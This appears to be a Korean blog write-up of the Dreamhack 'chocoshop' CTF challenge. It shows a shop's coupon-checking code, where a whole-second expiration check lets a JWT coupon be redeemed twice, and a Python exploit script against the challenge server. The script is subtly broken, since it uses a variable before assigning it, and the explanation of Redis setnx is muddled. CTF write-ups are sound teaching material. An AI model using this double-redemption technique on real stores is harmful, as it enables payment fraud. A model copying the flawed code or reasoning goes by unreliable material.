(취약한 웹 로직) chocoshop

오늘 풀어볼 문제는 드램핵의 chocoshop이라는 문제입니다.

먼저 문제 사이트를 보면, 쿠폰을 발행해서 1000원을 모을 수 있는데, flag의 가격은 2000원입니다. 쿠폰을 한번 더 발행 받으려고 하니까 다음과 같은 알림이 옵니다.

쿠폰 중복 발행 금지!

드림핵 문제 설명에선,

드림핵의 문제 설명.. 비교적 친절하다

쿠폰을 검사하는 로직이 취약하다니 그 부분을 한번 보겠습니다.

일단 쿠폰을 발급 받아 보니, jwt 형태로 이걸 jwt.io에 올려서 확인해보았습니다.

JWT 토큰을 decode한 모습이다.

uuid, user, amount, expiration이 나오는데, 관련한 코드를 살펴보면 다음과 같습니다.

쿠폰 발급 로직

코드를 보아하니, 이중 하드코딩 되어있는 amount는 사용이 불가능할 것 같고.. expiration은 현재 시간을 불러와서 +45초(COUPON_EXPIRATION_DELTA)를 더하는 것을 확인할 수 있습니다.

expiration은 유효시간으로, 위에 토큰에서 나온 값을 Dcode해보니 유닉스 시간인 것을 알 수 있습니다.

코드를 보아하니, 현재 시간값에 45를 더해서 유효시간을 주는데, 악랄하게도 45초 뒤에 만료된다.

이제 쿠폰 사용을 검증하는 구간을 살펴보자.

@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()): # 이 부분이 취약한 부분!
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.") 

    used_coupon = f'COUPON:{coupon["uuid"]}' # used_coupon 변수 생성
    
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')
        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time()))) #used_coupon 변수에 false 값 주기 (=0)
        user['money'] += coupon['amount'] #1000파운드 추가.
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')

이 구간에서 약한 로직은 바로 if coupon[‘expiration’] < int(time()): 이 부분인데, 초 단위로 계산하기 때문에 coupon[‘expiration’] = int(time())할 경우 조건문에 걸리지 않고 내려가게 되는데, 이걸로 쿠폰을 한번 더 재 사용할 수 있게 된다. 왜냐하면, 아래로 내려갈 때 used_coupon에서 걸리는 조건문도 setnx 함수를 사용하는데, setnx는 값이 존재하면 덮어쓰지 않기 때문에 여전히 1로 가능하기 때문이다. (그때 그때 덮어쓰는 get 함수로 코딩하는게 더 안전하겠다..)

이제 이 취약점을 이용해서 exploit 코드를 python으로 작성하겠습니다.

import requests, json, time

url = "http://host3.dreamhack.games:21036/"

def sessionAcquire():
    sessionRequest = requests.get(url + "/session")
    session = json.loads(sessionRequest.text)["session"]
    headers = {"Authorization": session}
    requests.get(url + "/me", headers=headers)
    print(session)
    return session

def couponSubmit(session, sleepTime):
    headers = {"Authorization": session}
    couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
    headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]

    print(requests.get(url+"/coupon/submit",headers=headers).text) #1번째 쿠폰
    time.sleep(sleepTime)
    print(json.loads(meRequest.text)["money"])
    
    print(requests.get(url+"/coupon/submit",headers=headers).text) #2번째 쿠폰
    meRequest = requests.get(url+"/me",headers=headers)
    print(json.loads(meRequest.text)["money"])
    
    return(print(requests.get(url+"/flag/claim",headers=headers).text)) #flag 구매

if __name__ == "__main__":
    session = sessionAcquire()
    couponSubmit(session, 45)

코드 실행 결과:

끝.


게시됨

카테고리

작성자

태그: